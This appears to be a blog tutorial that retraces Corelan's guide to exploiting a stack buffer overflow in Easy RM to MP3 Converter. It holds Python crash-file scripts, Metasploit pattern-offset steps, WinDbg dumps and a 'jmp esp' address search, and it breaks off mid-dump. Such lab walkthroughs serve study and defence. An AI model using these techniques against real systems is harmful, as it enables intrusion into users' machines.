Before we get started, I must state clearly that this information is based on the guidance provided from corelan.be website as shown in the references section.
For some folks reading my material may be easier, for others reading the material from Corelan will be easier. Whichever you choose, please note that this is all based on the guidance provided by those folks and thus nothing here is my original work.
Now that the attribution stuff is out of the way, let's get going.
Like the blog I'm using the vulnerable app "Easy RM to MP3 converter version 2.7.3.700".
This app is vulnerable to a buffer overflow, so the first thing to figure out is where it crashed.
Using the python code below we can test the vulnerability.
First up is to check with a ".m3u" file with 3000 bytes of data. In this case we will use all "A"s.
Here is the first sample code:
1 2 3 4 5 6 7 8 9 10 11 12 13 | def Exploit(): # print('In Exploit') crash_file = 'EasryRM_Crash.m3u' tmp_pattern = '\x41' * 10000 fp = open(crash_file, 'wb') fp.write(tmp_pattern) fp.close() print('Created file {!s}'.format(crash_file)) if __name__ == '__main__': Exploit() |
When this code is run in Easy RM, we see the following results:
Let's now expand this by moving up to 50,000 bytes to see if this makes a difference. To do this we will modify the code with the following:
1 2 3 4 5 6 7 8 9 10 11 12 13 | def Exploit(): # print('In Exploit') crash_file = 'EasryRM_Crash.m3u' tmp_pattern = '\x41' * 50000 fp = open(crash_file, 'wb') fp.write(tmp_pattern) fp.close() print('Created file {!s}'.format(crash_file)) if __name__ == '__main__': Exploit() |
When the file "EasryRM_Crash.m3u" is fed to Easy RM, the program crashed and disappeared.
Now it's time to learn why it crashed and how we can exploit it.
Based on what we know, the program has crashed. However, we need to figure out where exactly the crashed occurred. To help us out with this, let's leverage Metasploit.
Metasploit has a tool called "pattern_create.rb" which will allow us to generate a pattern and then use "pattern_offset.rb" to figure out the offset in the payload at which we overwrite the EIP or crashed the program.
Executing pattern_create:
./pattern_create.rb --length 50000 > easyRM-pattern.m3u
The above generated pattern is then added to the code and then the script is executed to create the ".m3u" file
Next up, we load WinDbg and "attach" to the process "RM2MP3Converter.exe"
Once we have attached to the process, we next specify "g" to continue, in the input window of WinDbg.
Once we are continue, we then feed the file "easyRM-pattern.m3u" to Easy RM. At this point the program crashes with our registers looking as follows:
1 2 3 4 5 6 7 | (43c.440): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000001 ebx=00104a58 ecx=7c91003d edx=00000004 esi=77c5fce0 edi=0000c351 eip=53317a53 esp=000ff730 ebp=00334360 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 53317a53 ?? ??? |
At this point, our concern is the value in the EIP register. Currently this is "eip=53317a53". Important at this point is to remember that this value is in little endian and thus has to be reversed. Thus our pattern value to provide to Metasploit's "pattern_offset.rb" is "537a3153".
When using WinDbg ".formats" command to convert the the string. We see below the "Chars" value is "Sz1S" as shown below
1 2 3 4 5 6 7 8 9 10 | 0:000> .formats 537a3153 Evaluate expression: Hex: 537a3153 Decimal: 1400516947 Octal: 12336430523 Binary: 01010011 01111010 00110001 01010011 Chars: Sz1S Time: Mon May 19 12:29:07 2014 Float: low 1.07457e+012 high 0 Double: 6.91947e-315 |
When we feed "Sz1S" to "pattern_offset.rb" we get the following:
./pattern_offset.rb --query Sz1S --length 50000
This resulted in:
[*] Exact match at offset 14793
[*] Exact match at offset 35073
From the looks of it, we have two offsets where this pattern was found. Let's focus on the "35073". Therefore, let's now rewrite our code, using "35073" "A"s followed by "BBBB" or hex 42424242, then follow this with some "C"s or hex 43434343.
Our new code now looks like:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | def Exploit(): # print('In Exploit') crash_file = 'EasryRM_Crash.m3u' tmp_pattern = '\x41' * 35073 + '\x42\x42\x42\x42' + '\x43' * 1000 fp = open(crash_file, 'wb') fp.write(tmp_pattern) fp.close() print('Created file {!s}'.format(crash_file)) if __name__ == '__main__': Exploit() |
Once we attach to the process with WinDbg similar to what we did before and feed the file to Easy RM, we get:
1 2 3 4 5 6 7 | (2c4.540): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000001 ebx=00104a58 ecx=7c91003d edx=00000004 esi=77c5fce0 edi=00008ced eip=42424242 esp=000ff730 ebp=00334130 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 42424242 ?? ??? |
At this point we can see that we have overwritten EIP with 42424242. Looks like we are now in the position to control the program execution.
At this point we need to identify space to host our "exploit" code. Considering we have 1000 bytes of "\x43" or Cs somewhere in memory, let's see if we can find those values by dumping the registers using the "r" command to first print the registers information.
After dumping the registers, our "\x43" or Cs were found in the ESP.
1 2 3 4 5 6 7 8 9 | 0:000> d esp 000ff730 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff740 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff750 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff760 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff770 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff780 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff790 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff7a0 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC |
Changing the numbering system to base 10 from base 16 via "n 10" and then dumping the first 1000 bytes of ESP looking for our 1000 bytes of "\x43" or Cs we get the following:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 | 0:000> d esp l1000 000ff730 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff740 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff750 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff760 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff770 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff780 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff790 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff7a0 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff7b0 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff7c0 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff7d0 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff7e0 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff7f0 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff800 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff810 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff820 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff830 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff840 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff850 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff860 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff870 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff880 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff890 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff8a0 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff8b0 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff8c0 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff8d0 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff8e0 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff8f0 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff900 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff910 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff920 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff930 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff940 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff950 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff960 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff970 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff980 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff990 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff9a0 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff9b0 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff9c0 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff9d0 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff9e0 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff9f0 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ffa00 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ffa10 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ffa20 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ffa30 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ffa40 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ffa50 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ffa60 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ffa70 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ffa80 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ffa90 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ffaa0 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ffab0 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ffac0 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ffad0 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ffae0 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ffaf0 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ffb00 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ffb10 43 43 43 43 00 41 41 41 CCCC.AAA |
If we subtract the address of the last "\x41" or C (000ffb13) from the address which is (000ff730) we get a difference of 995 bytes.
000ffb13 - 000ff730 = 3E3 (995)
At this point it seems we we are about 5 bytes short of our 1000 bytes of "\x41" or C's.
Using Corelan Team's guidance, let's generate a pattern again, using "pattern_create.rb" to identify how far in on the ESP we are starting.
1 2 | ./pattern_create.rb --length 512 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar' |
Feed this pattern back to the script as shown below:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | def Exploit(): # print('In Exploit') crash_file = 'EasryRM_Crash.m3u' tmp_pattern = '\x41' * 35073 + '\x42\x42\x42\x42' + 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar' ' fp = open(crash_file, 'wb') fp.write(tmp_pattern) fp.close() print('Created file {!s}'.format(crash_file)) if __name__ == '__main__': Exploit() |
Then feeding the generated file back to Easy RM, then looking at the ESP register we see:
1 2 3 4 5 6 7 8 9 | 0:000> d esp 000ff730 61 31 41 61 32 41 61 33-41 61 34 41 61 35 41 61 a1Aa2Aa3Aa4Aa5Aa 000ff740 36 41 61 37 41 61 38 41-61 39 41 62 30 41 62 31 6Aa7Aa8Aa9Ab0Ab1 000ff750 41 62 32 41 62 33 41 62-34 41 62 35 41 62 36 41 Ab2Ab3Ab4Ab5Ab6A 000ff760 62 37 41 62 38 41 62 39-41 63 30 41 63 31 41 63 b7Ab8Ab9Ac0Ac1Ac 000ff770 32 41 63 33 41 63 34 41-63 35 41 63 36 41 63 37 2Ac3Ac4Ac5Ac6Ac7 000ff780 41 63 38 41 63 39 41 64-30 41 64 31 41 64 32 41 Ac8Ac9Ad0Ad1Ad2A 000ff790 00 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 .AAAAAAAAAAAAAAA 000ff7a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA |
From above, since our first byte is "a1" followed by "Aa" and we know our pattern starts with "Aa" followed by "0A". This means we are 5 bytes in. Similarly to Corelan's demonstration also, we have part of our As on the stack. Maybe somewhere for us to store our "exploit" code.
Similarly to Corelan, let's verify now that we can get to the beginning of the stack by prepending 4 characters. Let's use 4 Ds or hex "\x44".
Adjusting the script we get:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | def Exploit(): # print('In Exploit') crash_file = 'EasryRM_Crash.m3u' tmp_pattern = '\x41' * 35073 + '\x42\x42\x42\x42' + '\x44\x44\x44\x44' + 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar' ' fp = open(crash_file, 'wb') fp.write(tmp_pattern) fp.close() print('Created file {!s}'.format(crash_file)) if __name__ == '__main__': Exploit() |
Attaching to the Easy RM process again and feeding the file to the application. Looking at the ESP register again, we see:
1 2 3 4 5 6 7 8 9 | 0:000> d esp 000ff730 41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41 Aa0Aa1Aa2Aa3Aa4A 000ff740 61 35 41 61 36 41 61 37-41 61 38 41 61 39 41 62 a5Aa6Aa7Aa8Aa9Ab 000ff750 30 41 62 31 41 62 32 41-62 33 41 62 34 41 62 35 0Ab1Ab2Ab3Ab4Ab5 000ff760 41 62 36 41 62 37 41 62-38 41 62 39 41 63 30 41 Ab6Ab7Ab8Ab9Ac0A 000ff770 63 31 41 63 32 41 63 33-41 63 34 41 63 35 41 63 c1Ac2Ac3Ac4Ac5Ac 000ff780 36 41 63 37 41 63 38 41-63 39 41 64 30 41 64 31 6Ac7Ac8Ac9Ad0Ad1 000ff790 41 64 32 41 00 41 41 41-41 41 41 41 41 41 41 41 Ad2A.AAAAAAAAAAA 000ff7a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA |
Awesome!! it looks like our pattern now matches as we are now pointing directly to it on the stack via the ESP register.
Now from what Corelan Team tells us, we know that jumping to memory address is not that reliable. So let's leverage one of the DLLs that jumps to ESP to assist us.
First we need to figure out the opcode for "jmp esp". To do this we access Easy RM via the debugger.
First up we need to enter "a" to assemble in the debugger:
1 2 3 4 5 6 7 | 0:010> a 7c90120e jmp esp 0:010> u ntdll!DbgBreakPoint: 7c90120e ffe4 jmp esp 7c901210 ffe4 jmp esp |
From above, we see the opcode for "jmp esp" is "ff e4"
Next up is to find one or more DLLs that uses this opcode. We will leverage DLLs which are part of the application natively rather than those which are part of windows. My understanding is it is better to do this at is more reliable across Windows versions.
When we initially attached to the Easy RM process, there were a number of DLLs which are associated directly with the application. Specifically, they are:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | Executable search path is: ModLoad: 00400000 004be000 C:\Program Files\Easy RM to MP3 Converter\RM2MP3Converter.exe .... ModLoad: 10000000 10071000 C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll .... ModLoad: 00ab0000 00b4f000 C:\Program Files\Easy RM to MP3 Converter\MSRMfilter01.dll ModLoad: 01860000 018d1000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll ModLoad: 003f0000 003f7000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec01.dll ModLoad: 018e0000 01dad000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll .... ModLoad: 01fd0000 01fee000 C:\Program Files\Easy RM to MP3 Converter\wmatimer.dll .... ModLoad: 02010000 02020000 C:\Program Files\Easy RM to MP3 Converter\MSRMfilter02.dll ModLoad: 02230000 02242000 C:\Program Files\Easy RM to MP3 Converter\MSLog.dll .... |
Searching through the above, it was found that "MSRMfilter01.dll", "MSRMCcodec00.dll", "MSRMCcodec01.dll", "MSRMCcodec02.dll" and "wmatimer.dll" contain "jmp esp"
Sticking with the Corelan example, we see:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | 0:010> s 018e0000 l 01dad000 ff e4 01a9f23a ff e4 ff 8d 4e 10 c7 44-24 10 ff ff ff ff e8 f3 ....N..D$....... 01ad023f ff e4 fb 4d 1b a6 9c ff-ff 54 a2 ea 1a d9 9c ff ...M.....T...... 01aed3db ff e4 ca ab 01 20 05 93-19 09 00 00 00 00 d4 ae ..... .......... 01b0b22a ff e4 07 07 f2 01 57 f2-5d 1c d3 e8 09 22 d5 d0 ......W.]....".. 01b0b72d ff e4 09 7d e4 ad 37 df-e7 cf 25 23 c9 a0 4a 26 ...}..7...%#..J& 01b0cd89 ff e4 03 35 f2 82 6f d1-0c 4a e4 19 30 f7 b7 bf ...5..o..J..0... 01b15c9e ff e4 5c 2e 95 bb 16 16-79 e7 8e 15 8d f6 f7 fb ..\.....y....... 01b203d9 ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d .....w1...h...T. 01b21400 ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50 ...8%.qD...u...P 01b2736d ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d .....w1...h...T. 01b2ce34 ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50 ...8%.qD...u...P 01b30159 ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d .....w1...h...T. 01b32ec0 ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50 ...8%.qD...u...P 01fe135b ff e4 49 fd 01 e8 49 fd-01 00 00 00 00 ff ff ff ..I...I......... |
Picking the address "01aed3db" and providing it to our code as shown below:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | import struct def Exploit(): # print('In Exploit') shellcode = ('Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar') crash_file = 'EasryRM_Crash.m3u' tmp_pattern = '\x41' * 35073 + '\x42\x42\x42\x42' + struct.pack('<l', 0x01aed3db) + '\x45\x45\x45\x45' + shellcode junk_code = '\x41' * 35073 eip_register = struct.pack('<l',0x01aed3db) more_junk = '\x44\x44\x44\x44' exploit_code = '\x90' * 25 cc_break = '\xcc' fp = open(crash_file, 'wb') fp.write(tmp_pattern) #fp.write(junk_code + eip_register + exploit_code + cc_break + exploit_code) fp.close() print('Created file {!s}'.format(crash_file)) if __name__ == '__main__': Exploit() |
Feeding the newly created file to Easy RM, we see
1 2 3 4 5 6 7 8 9 10 | 5c4.18c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000001 ebx=00104a58 ecx=7c91003d edx=00000004 esi=77c5fce0 edi=00008b0d eip=01aed3db esp=000ff730 ebp=00334130 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 *** WARNING: Unable to verify checksum for C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll - MSRMCcodec02!CAudioOutWindows::WaveOutWndProc+0xca18b: 01aed3db 0000 add byte ptr [eax],al ds:0023:00000001=?? |
Looks like EIP successfully pointed to the address "01aed3db" which relates to our "jmp esp"
Let's now take a look at our stack to see if our pattern is still in place
1 2 3 4 5 6 7 8 9 | 0:000> d esp 000ff730 41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41 Aa0Aa1Aa2Aa3Aa4A 000ff740 61 35 41 61 36 41 61 37-41 61 38 41 61 39 41 62 a5Aa6Aa7Aa8Aa9Ab 000ff750 30 41 62 31 41 62 32 41-62 33 41 62 34 41 62 35 0Ab1Ab2Ab3Ab4Ab5 000ff760 41 62 36 41 62 37 41 62-38 41 62 39 41 63 30 41 Ab6Ab7Ab8Ab9Ac0A 000ff770 63 31 41 63 32 41 63 33-41 63 34 41 63 35 41 63 c1Ac2Ac3Ac4Ac5Ac 000ff780 36 41 63 37 41 63 38 41-63 39 41 64 30 41 64 31 6Ac7Ac8Ac9Ad0Ad1 000ff790 41 64 32 41 64 33 41 64-34 41 64 35 41 64 36 41 Ad2Ad3Ad4Ad5Ad6A 000ff7a0 64 37 41 64 38 41 64 39-41 65 30 41 65 31 41 65 d7Ad8Ad9Ae0Ae1Ae |
Looks good.
However, is our full pattern there? Let's verify
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | 0:000> n 10 base is 10 0:000> d esp l 512 000ff730 41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41 Aa0Aa1Aa2Aa3Aa4A 000ff740 61 35 41 61 36 41 61 37-41 61 38 41 61 39 41 62 a5Aa6Aa7Aa8Aa9Ab 000ff750 30 41 62 31 41 62 32 41-62 33 41 62 34 41 62 35 0Ab1Ab2Ab3Ab4Ab5 000ff760 41 62 36 41 62 37 41 62-38 41 62 39 41 63 30 41 Ab6Ab7Ab8Ab9Ac0A 000ff770 63 31 41 63 32 41 63 33-41 63 34 41 63 35 41 63 c1Ac2Ac3Ac4Ac5Ac 000ff780 36 41 63 37 41 63 38 41-63 39 41 64 30 41 64 31 6Ac7Ac8Ac9Ad0Ad1 000ff790 41 64 32 41 64 33 41 64-34 41 64 35 41 64 36 41 Ad2Ad3Ad4Ad5Ad6A 000ff7a0 64 37 41 64 38 41 64 39-41 65 30 41 65 31 41 65 d7Ad8Ad9Ae0Ae1Ae 000ff7b0 32 41 65 33 41 65 34 41-65 35 41 65 36 41 65 37 2Ae3Ae4Ae5Ae6Ae7 000ff7c0 41 65 38 41 65 39 41 66-30 41 66 31 41 66 32 41 Ae8Ae9Af0Af1Af2A 000ff7d0 66 33 41 66 34 41 66 35-41 66 36 41 66 37 41 66 f3Af4Af5Af6Af7Af 000ff7e0 38 41 66 39 41 67 30 41-67 31 41 67 32 41 67 33 8Af9Ag0Ag1Ag2Ag3 000ff7f0 41 67 34 41 67 35 41 67-36 41 67 37 41 67 38 41 Ag4Ag5Ag6Ag7Ag8A 000ff800 67 39 41 68 30 41 68 31-41 68 32 41 68 33 41 68 g9Ah0Ah1Ah2Ah3Ah 000ff810 34 41 68 35 41 68 36 41-68 37 41 68 38 41 68 39 4Ah5Ah6Ah7Ah8Ah9 000ff820 41 69 30 41 69 31 41 69-32 41 69 33 41 69 34 41 Ai0Ai1Ai2Ai3Ai4A 000ff830 69 35 41 69 36 41 69 37-41 69 38 41 69 39 41 6a i5Ai6Ai7Ai8Ai9Aj 000ff840 30 